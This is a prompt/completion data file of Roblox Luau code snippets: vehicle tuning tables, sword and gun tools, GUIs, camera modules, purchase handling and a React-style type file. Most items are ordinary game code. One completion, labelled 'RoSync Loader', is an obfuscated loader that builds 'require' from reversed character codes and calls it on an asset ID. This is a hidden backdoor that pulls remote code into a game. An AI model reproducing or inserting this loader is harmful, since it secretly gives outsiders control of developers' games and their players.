prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween AimZoom = 40; -- Default zoom AimSpeed = 0.23; UnaimSpeed = 0.23; CycleAimZoom = 55; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
-- print("Keyframe : ".. frameName)
local repeatAnim = stopToolAnimations() playToolAnimation(repeatAnim, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) if (animName ~= toolAnimName) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end
--script.AB.Value = true
carSeat.Parent.Weight.FrontDF.Force = Vector3.new(0, 0, 0) carSeat.Parent.Weight.RearDF.Force = Vector3.new(0, 0, 0) else --script.AB.Value = false carSeat.Parent.Weight.FrontDF.Force = Vector3.new(0, (-1.2*DFF)*speed, (0.3*DFF)*speed) carSeat.Parent.Weight.FrontDF.Location = Vector3.new(0,-2,-2) carSeat.Parent.Weight.RearDF.Force = Vector3.new(0, ((-2.2*DFR)-0.2)*speed, (0.6*DFR)*speed) carSeat.Parent.Weight.RearDF.Location = Vector3.new(0,1,4) end
--[[ Last synced 11/11/2020 02:26 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Add script when player is added
game.Players.PlayerAdded:connect(addScriptAtRespawn)
--For Omega Rainbow Katana thumbnail to display a lot of particles.
for i, v in pairs(Handle:GetChildren()) do if v:IsA("ParticleEmitter") then v.Rate = 20 end end Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player --Debris :AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then return end local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end -- UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Slash") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Lunge") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end wait(0.2) Tool.Grip = Grips.Out wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Damage = DamageValues.BaseDamage local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){ Name = "R15Slash", AnimationId = BaseUrl .. Animations.R15Slash, Parent = Tool }) local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){ Name = "R15Lunge", AnimationId = BaseUrl .. Animations.R15Lunge, Parent = Tool }) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() Tool.Grip = Grips.Up ToolEquipped = false end Tool.Activated:Connect(Activated) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Connection = Handle.Touched:Connect(Blow)
--//Limits//--
if InductionPartSize < 0 then InductionPartSize = 0 elseif InductionPartSize > 5 then InductionPartSize = 5 end if WeightDistribution < 0 then WeightDistribution = 0 elseif WeightDistribution > 100 then WeightDistribution = 100 end if SteeringAngle > 120 then SteeringAngle = 120 elseif SteeringAngle < 20 then SteeringAngle = 20 end if TiresFront > 3 then TiresFront = 3 elseif TiresFront < 1 then TiresFront = 1 end if TiresRear > 3 then TiresRear = 3 elseif TiresRear < 1 then TiresRear = 1 end if DownforceF < 0 then DownforceF = 0 elseif DownforceF > 5 then DownforceF = 5 end if DownforceR < 0 then DownforceR = 0 elseif DownforceR > 5 then DownforceR = 5 end if EngineType == "Electric" then TransmissionType = "Automatic" InductionPartSize = 0 end if BrakeBias > 100 then BrakeBias = 100 elseif BrakeBias < 0 then BrakeBias = 0 end if SteerSpeed > 0.1 then SteerSpeed = 0.1 elseif SteerSpeed < 0.02 then SteerSpeed = 0.02 end if BrakePower > 100 then BrakePower = 100 elseif BrakePower < 0 then BrakePower = 0 end if AmountOfGears > 8 then AmountOfGears = 8 elseif AmountOfGears < 1 then AmountOfGears = 1 end if TransmissionType ~= "HPattern" and TransmissionType ~= "Automatic" and TransmissionType ~= "DualClutch" and TransmissionType ~= "CVT" then TransmissionType = "Automatic" end if Drivetrain ~= "AWD" and Drivetrain ~= "FWD" and Drivetrain ~= "RWD" then Drivetrain = "FWD" end if TorqueSplit > 100 then TorqueSplit = 100 elseif TorqueSplit < 0 then TorqueSplit = 0 end if Drivetrain == "RWD" then TorqueSplit = 100 DifferentialF = 0 elseif Drivetrain == "FWD" then TorqueSplit = 0 DifferentialR = 0 DifferentialF = 0 end if DifferentialF > 1 then DifferentialF = 1 elseif DifferentialF < 0 then DifferentialF = 0 end if DifferentialR > 1 then DifferentialR = 1 elseif DifferentialR < 0 then DifferentialR = 0 end if Gear1 > 5 then Gear1 = 5 elseif Gear1 < 0.1 then Gear1 = 0.1 end if Gear2 > 5 then Gear2 = 5 elseif Gear2 < 0.1 then Gear2 = 0.1 end if Gear3 > 5 then Gear3 = 5 elseif Gear3 < 0.1 then Gear3 = 0.1 end if Gear4 > 5 then Gear4 = 5 elseif Gear4 < 0.1 then Gear4 = 0.1 end if Gear5 > 5 then Gear5 = 5 elseif Gear5 < 0.1 then Gear5 = 0.1 end if Gear6 > 5 then Gear6 = 5 elseif Gear6 < 0.1 then Gear6 = 0.1 end if Gear7 > 5 then Gear7 = 5 elseif Gear7 < 0.1 then Gear7 = 0.1 end if Gear8 > 5 then Gear8 = 5 elseif Gear8 < 0.1 then Gear8 = 0.1 end if FinalDrive > 5 then FinalDrive = 6.08 - 5 elseif FinalDrive < 0.1 then FinalDrive = 6.08 - 0.1 end if EngineIdle > 1600 then EngineIdle = 1600 elseif EngineIdle < 300 then EngineIdle = 300 end if RideHeightFront > 5 then RideHeightFront = 5 elseif RideHeightFront < 0 then RideHeightFront = 0 end if RideHeightRear > 5 then RideHeightRear = 5 elseif RideHeightRear < 0 then RideHeightRear = 0 end if StiffnessFront > 10 then StiffnessFront = 10 elseif StiffnessFront < 0 then StiffnessFront = 0 end if StiffnessRear > 10 then StiffnessRear = 10 elseif StiffnessRear < 0 then StiffnessRear = 0 end if AntiRollFront > 10 then AntiRollFront = 10 elseif AntiRollFront < 0 then AntiRollFront = 0 end if AntiRollRear > 10 then AntiRollRear = 10 elseif AntiRollRear < 0 then AntiRollRear = 0 end if CamberFront > 10 then CamberFront = 10 elseif CamberFront < -11 then CamberFront = -11 end if CamberRear > 10 then CamberRear = 10 elseif CamberRear < -11 then CamberRear = -11 end if EngineType == "Electric" then EngineRedline = 16200 end
--// All global vars will be wiped/replaced except script
return function(data) local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local gui = service.New("ScreenGui") local toggle = service.New("ImageButton", gui) local gTable = client.UI.Register(gui) if client.UI.Get("HelpButton", gui, true) then gui:Destroy() gTable:Destroy() return nil end gTable.Name = "HelpButton" gTable.CanKeepAlive = false toggle.Name = "Toggle" toggle.BackgroundTransparency = 1 toggle.Position = UDim2.new(1, -45, 1, -45) toggle.Size = UDim2.new(0, 40, 0, 40) toggle.Image = client.HelpButtonImage toggle.ImageTransparency = 0.5 --if client.UI.Get("Chat") then -- toggle.Position = UDim2.new(1, -(45+40),1, -45) --end toggle.MouseButton1Down:Connect(function() local found = client.UI.Get("UserPanel",nil,true) if found then found.Object:Destroy() else client.UI.Make("UserPanel",{}) end end) gTable:Ready() end
-- Mutable source version can be anything (e.g. number, string, immutable data structure) -- so long as it changes every time any part of the source changes.
export type MutableSourceVersion = NonMaybeType<any> export type MutableSourceGetSnapshotFn<Source, Snapshot> = (source: Source) -> Snapshot export type MutableSourceSubscribeFn<Source, Snapshot> = ( source: Source, callback: (snapshot: Snapshot) -> () ) -> (() -> ()) export type MutableSourceGetVersionFn = ( _source: NonMaybeType<any> ) -> MutableSourceVersion export type MutableSource<Source> = { _source: Source, _getVersion: MutableSourceGetVersionFn, -- Tracks the version of this source at the time it was most recently read. -- Used to determine if a source is safe to read from before it has been subscribed to. -- Version number is only used during mount, -- since the mechanism for determining safety after subscription is expiration time. -- -- As a workaround to support multiple concurrent renderers, -- we categorize some renderers as primary and others as secondary. -- We only expect there to be two concurrent renderers at most: -- React Native (primary) and Fabric (secondary); -- React DOM (primary) and React ART (secondary). -- Secondary renderers store their context values on separate fields. -- We use the same approach for Context. _workInProgressVersionPrimary: nil | MutableSourceVersion, _workInProgressVersionSecondary: nil | MutableSourceVersion, -- DEV only -- Used to detect multiple renderers using the same mutable source. _currentPrimaryRenderer: Object | nil, _currentSecondaryRenderer: Object | nil, }
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--Create the equipped title's billboard gui for a player
function functions.CreateBillboardGui(plr: Player) local plrStats = plr.leaderstats local plrEquippedTitle = plrStats.EquippedTitle local char = plr.Character if char and titles:FindFirstChild(plrEquippedTitle.Value) then if char.HumanoidRootPart:FindFirstChild("TITLE BILLBOARD GUI") then char.HumanoidRootPart["TITLE BILLBOARD GUI"]:Destroy() end local billboardGui = titles[plrEquippedTitle.Value].BillboardGui:Clone() billboardGui.Name = "TITLE BILLBOARD GUI" billboardGui.Parent = char.HumanoidRootPart end end return functions
-- Require all children and return their references
local Themes = {} for _, module in pairs(script:GetChildren()) do if module:IsA("ModuleScript") then Themes[module.Name] = require(module) end end return Themes
--// Bullet Physics
BulletPhysics = Vector3.new(0,69,0); BulletSpeed = 1148;
--Moves to specific point 'finish' if a path is possible to follow
function MoveTo(finish,TD) local path=pathfinding:ComputeRawPathAsync(torso.Position,finish,maxWalkDistance);
--Player leaving > save data and remove server data about player
function module:RemovePlayerData(player) if main.pd[player] then savePlayerData(player, true) end main.pd[player] = nil end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 0.5 -- cooldown for use of the tool again ZoneModelName = "Bullet 2" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--// Positioning
RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08); LeftArmPos = CFrame.new(0.805950999, 0.654529691, -1.92835343, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098); GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
-- hack to use roblox-ts's copy of roblox-lua-promise
local TS = _G[script.Parent.Parent] local Promise = TS.Promise
--[[ if a=='KFly' then a=Curr.Fly if a then a.Value=nil a.Parent.BodyVelocity:Destroy() a.Parent.BodyGyro:Destroy() a:Destroy() Curr.Fly=nil end if b then local hum,root=FindChild(char,'Humanoid'),FindChild(char,'HumanoidRootPart') if not (hum and root) then return end local maxspd,m,acc,dir,CF=100,5,v3() local bg,bv=new'BodyGyro'{Parent=root;D=200;P=5000;cframe=root.CFrame},new'BodyVelocity'{Parent=root} b=new'BoolValue'{Parent=root;Name='KFly'} Curr.Fly=b b.Changed:Connect(function(a) if b==Curr.Fly then a=b.Value local f=a and v3(9e9,9e9,9e9) or v3() hum.PlatformStand,bg.MaxTorque,bv.MaxForce=a,f,f end end) b.Value=true wrap(function() repeat if b.Value then local dir = hum.MoveDirection local CF = cam.CoordinateFrame dir = (CF:inverse() * CFrame.new(CF.p + dir)).p rwait() dir,CF = hum.MoveDirection,cam.CoordinateFrame dir=(CF:inverse()*cf(CF.p+dir)).p acc=acc*.95 acc=v3(max(-maxspd,min(maxspd,acc.x+dir.x*m)),max(-maxspd,min(maxspd,not isTyping and (f.KeyDown(Enum.KeyCode.Space) and acc.y+m or f.KeyDown(Enum.KeyCode.LeftControl) and acc.y-m) or acc.y)),max(-maxspd,min(maxspd,acc.z+dir.z*m))) bg.cframe,bv.velocity=CF,(CF*cf(acc)).p-CF.p else wait() end until not b or b~=Curr.Fly or not hum or not root end) end--]] --[[ local humPart = script.Parent local flightVal = humPart:FindFirstChild("FLIGHT_VAL") local localplayer = game:GetService("Players").LocalPlayer local mouse = localplayer:GetMouse() local torso = script.Parent local human = torso.Parent:FindFirstChildOfClass("Humanoid") local flying = true local speed = 0 local keys = {} local function check() if flightVal and flightVal.Parent and flightVal.Parent == humPart then return true end end local function start() local pos = Instance.new("BodyPosition",torso) local gyro = Instance.new("BodyGyro",torso) pos.Name = "ADONIS_FLIGHTPOS" pos.maxForce = Vector3.new(math.huge, math.huge, math.huge) pos.position = torso.Position gyro.Name = "ADONIS_GYRO" gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) gyro.cframe = torso.CFrame human.Died:Connect(function() if gyro then gyro:Destroy() end if pos then pos:Destroy() end flying = false human.PlatformStand = false speed = 0 end) repeat localplayer.Character.Humanoid.PlatformStand = true local new = gyro.cframe - gyro.cframe.p + pos.position if not keys.w and not keys.s and not keys.a and not keys.d then speed = 1 end if keys.w then new = new + workspace.CurrentCamera.CoordinateFrame.LookVector * speed speed = speed+0.15 end if keys.a then new = new * CFrame.new(-speed,0,0) speed = speed+0.15 end if keys.s then new = new - workspace.CurrentCamera.CoordinateFrame.LookVector * speed speed = speed+0.15 end if keys.d then new = new * CFrame.new(speed,0,0) speed = speed+0.15 end if speed>10 then speed=10 end pos.position=new.p if keys.w then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*7.5),0,0) elseif keys.s then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*7.5),0,0) else gyro.cframe = workspace.CurrentCamera.CoordinateFrame end until not check() or not flying or not gyro or not pos or not pos.Parent or not wait() if gyro then gyro:Destroy() end if pos then pos:Destroy() end flying = false human.PlatformStand = false speed = 0 end mouse.KeyDown:Connect(function(key) if check() then if key=="w" then keys.w = true elseif key=="s" then keys.s = true elseif key=="a" then keys.a = true elseif key=="d" then keys.d = true elseif key=="e" then if flying then flying = false else flying = true start() end end end end) mouse.KeyUp:Connect(function(key) if check() then if key=="w" then keys.w = false elseif key=="s" then keys.s = false elseif key=="a" then keys.a = false elseif key=="d" then keys.d = false end end end) start() --]]
-- Text size default properties
defaults.TextScaled = false defaults.TextScaleRelativeTo = "Frame" -- "Frame" or "Screen" If Frame, will scale relative to vertical size of the parent frame. If Screen, will scale relative to vertical size of the ScreenGui. defaults.TextScale = 0.25 -- If you want the frame to have a nominal count of n lines of text, make this value 1 / n. For four lines, 1 / 4 = 0.25. defaults.TextSize = 24 -- Only applicable if TextScaled = false
--Code You want goes here
script.Parent.Core.Fire.Enabled = true wait(script.Parent.Configuration.EscapeTime.Value) local Explosion = Instance.new("Explosion",game.Workspace) Explosion.BlastRadius = 100 Explosion.Position = script.Parent.Core end while true do if script.Parent.Temperature.Value > script.Parent.Configuration.HowMuchUntilMeltdown.Value then meltdownsequence() wait(math.huge) else script.Parent.Temperature.Value = script.Parent.Temperature.Value + script.Parent.Configuration.HowMuchTempIsIncreeased.Value wait(script.Parent.Configuration.HowFastInSecondsDoesTemperatureIncreease.Value) end end
-- elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then -- local n=1 -- for i,v in pairs(_Tune.TransModes) do -- if v==_TMode.Value then n=i break end -- end -- n=n+1 -- if n>#_Tune.TransModes then n=1 end -- _TMode.Value = _Tune.TransModes[n]
--Throttle elseif (_IsOn and not car.DriveSeat.Tic.Value) and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _GThrot = 1 else _GThrot = _Tune.IdleThrottle/100 end --Brake elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _GBrake = 1 else _GBrake = 0 end --Steer Left elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end --Steer Right elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = 1 _SteerR = true else if _SteerL then _GSteerT = -1 else _GSteerT = 0 end _SteerR = false end --Toggle Mouse Controls elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then if input.UserInputState == Enum.UserInputState.End then _MSteer = not _MSteer _GThrot = _Tune.IdleThrottle/100 _GBrake = 0 _GSteerT = 0 _ClutchOn = true end --Toggle TCS elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then if input.UserInputState == Enum.UserInputState.End then _TCS = not _TCS end --Toggle ABS elseif _Tune.ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end end --Variable Controls if input.UserInputType.Name:find("Gamepad") then --Gamepad Steering if input.KeyCode == _CTRL["ContlrSteer"] then if input.Position.X>= 0 then local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X-cDZone)/(1-cDZone) else _GSteerT = 0 end else local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X+cDZone)/(1-cDZone) else _GSteerT = 0 end end --Gamepad Throttle elseif (_IsOn and not car.DriveSeat.Tic.Value) and input.KeyCode == _CTRL["ContlrThrottle"] then _GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z) --Gamepad Brake elseif input.KeyCode == _CTRL["ContlrBrake"] then _GBrake = input.Position.Z end end else _GThrot = _Tune.IdleThrottle/100 _GSteerT = 0 _GBrake = 0 if _CGear.Value~=0 then _ClutchOn = true end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput) UserInputService.InputEnded:connect(DealWithInput)
-- test whether value is a constant
function luaP:ISK(x) return x >= self.BITRK end
--Weld stuff here
MakeWeld(car.Misc.RealisticArms.Wheel,car.DriveSeat,"Motor",.5).Name="W" ModelWeld(car.Misc.RealisticArms.Boxes,car.DriveSeat) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
--[[Engine]]
--Torque Curve Tune.Horsepower = 175 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 5200 -- Use sliders to manipulate values Tune.Redline = 5600 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 1 -- Clutch engagement threshold (higher = faster response)
--------SETTINGS--------
local ITEM_NAME = "Railgun" local ITEM_PRICE = 10 local CURRENCY_NAME = "Cash"
-- ROBLOX deviation: excluded type annotation for AsymmetricMatcher because Luau does -- not yet support type annotations for a generic function
function isAsymmetricMatcher(data: any) local type_ = getType(data) return type_ == "table" and typeof(data.asymmetricMatch) == "function" end local function diff( a: any, b: any, options -- ROBLOX deviation: omitted type annotation since we don't have DiffOptions translated ): string | nil return shouldPrintDiff(a, b) and diffDefault(a, b, options) or nil end function pluralize(word: string, count: number): string if count == 1 then return (NUMBERS[count + 1] or count) .. " " .. word else return (NUMBERS[count + 1] or count) .. " " .. word .. "s" end end
-- Connections
NewPlayer.OnClientEvent:Connect(startTutorial) NextButton.Activated:Connect(nextPanel)
--The name of the collision group that characters are put in
local GroupName = "Players"
-- Private Methods
function init(self) local element = self.Element local maid = self._Maid local dragBind = self._DragBind local lastMousePosition = Vector3.new() local dragInput maid:Mark(self._DragBind) maid:Mark(self._StartBind) maid:Mark(self._StopBind) maid:Mark(element.InputBegan:Connect(function(input) if (VALID_PRESS[input.UserInputType]) then lastMousePosition = input.Position self.IsDragging = true self._StartBind:Fire() local inputEndConn; inputEndConn = input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End or input.UserInputState == Enum.UserInputState.Cancel then if inputEndConn then inputEndConn:Disconnect() inputEndConn = nil self.IsDragging = false self._StopBind:Fire() end end end) end end)) maid:Mark(element.InputChanged:Connect(function(input) if (VALID_MOVEMENT[input.UserInputType]) then dragInput = input end end)) maid:Mark(UIS.InputChanged:Connect(function(input, process) if input == dragInput and self.IsDragging then local delta = input.Position - lastMousePosition dragBind:Fire(element, input, delta) end end)) --maid:Mark(element.InputBegan:Connect(function(input) -- if (VALID_PRESS[input.UserInputType]) then -- lastMousePosition = input.Position -- self.IsDragging = true -- self._StartBind:Fire() -- end --end)) --maid:Mark(UIS.InputEnded:Connect(function(input) -- if (VALID_PRESS[input.UserInputType]) then -- self.IsDragging = false -- self._StopBind:Fire() -- end --end)) --maid:Mark(UIS.InputChanged:Connect(function(input, process) -- if (self.IsDragging) then -- if (VALID_MOVEMENT[input.UserInputType]) then -- local delta = input.Position - lastMousePosition -- lastMousePosition = input.Position -- dragBind:Fire(element, input, delta) -- end -- end --end)) end
-- Instruction: Put in a (Vehicle)Seat.
wait(0.1) local seat = script.Parent function GetPlayerFromWeld( weld ) if weld.Part1.Name == "HumanoidRootPart" then local character = weld.Part1.Parent:findFirstChild("Humanoid") if (character) then local player = game.Players:GetPlayerFromCharacter(character.Parent) if (player) then return player end end end return nil end seat.ChildAdded:connect(function( newChild ) if newChild:IsA("Weld") then newChild.C0 = CFrame.new(0,-1,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2.4),0,0) local player = GetPlayerFromWeld(newChild) if (player) then local newGUI = script.SpeedGUI:Clone() wait(0.1) newGUI.Seat.Value = seat newGUI.Parent = player.PlayerGui end end end) seat.ChildRemoved:connect(function( oldChild ) if oldChild:IsA("Weld") then local player = GetPlayerFromWeld( oldChild ) if player then if player.PlayerGui:findFirstChild("SpeedGUI") then player.PlayerGui.SpeedGUI:Destroy() end end end end)
-- Load Roblox Camera Controller Modules
local ClassicCamera = require(script:WaitForChild("ClassicCamera")) local OrbitalCamera = require(script:WaitForChild("OrbitalCamera")) local LegacyCamera = require(script:WaitForChild("LegacyCamera")) local VehicleCamera = require(script:WaitForChild("VehicleCamera"))
-- step a damped angular spring axis
local function stepSpringAxis(dt, f, g, p, v) local offset = sanitizeAngle(p - g) local decay = math.exp(-f*dt) local p1 = sanitizeAngle((offset*(1 + f*dt) + v*dt)*decay + g) local v1 = (v*(1 - f*dt) - offset*(f*f*dt))*decay return p1, v1 end
--!strict
local MarketplaceService = game.MarketplaceService local BadgeService = game.BadgeService local DataStoreService = game.DataStoreService local Players = game.Players type receiptInfo = { PurchaseId: number, PlayerId: number, ProductId: number, PlaceIdWherePurchased: number, CurrencySpent: number, CurrencyType: Enum.CurrencyType } type productFunction = (receiptInfo, Player) -> (boolean) type badgeFunction = (userid: number) -> (boolean) local purchaseHistoryStore = DataStoreService:GetDataStore("PurchaseHistory") local Functions = { products = {} :: {[number]: productFunction}, badges = {} :: {[number]: badgeFunction}, }
--[=[ @class RemoteProperty @server Created via `ServerComm:CreateProperty()`. Values set can be anything that can pass through a [RemoteEvent](https://developer.roblox.com/en-us/articles/Remote-Functions-and-Events#parameter-limitations). Here is a cheat-sheet for the below methods: - Setting data - `Set`: Set "top" value for all current and future players. Overrides any custom-set data per player. - `SetTop`: Set the "top" value for all players, but does _not_ override any custom-set data per player. - `SetFor`: Set custom data for the given player. Overrides the "top" value. (_Can be nil_) - `SetForList`: Same as `SetFor`, but accepts a list of players. - `SetFilter`: Accepts a predicate function which checks for which players to set. - Clearing data - `ClearFor`: Clears the custom data set for a given player. Player will start using the "top" level value instead. - `ClearForList`: Same as `ClearFor`, but accepts a list of players. - `ClearFilter`: Accepts a predicate function which checks for which players to clear. - Getting data - `Get`: Retrieves the "top" value - `GetFor`: Gets the current value for the given player. If cleared, returns the top value. :::caution Network Calling any of the data setter methods (e.g. `Set()`) will fire the underlying RemoteEvent to replicate data to the clients. Therefore, setting data should only occur when it is necessary to change the data that the clients receive. ::: :::caution Tables Tables _can_ be used with RemoteProperties. However, the 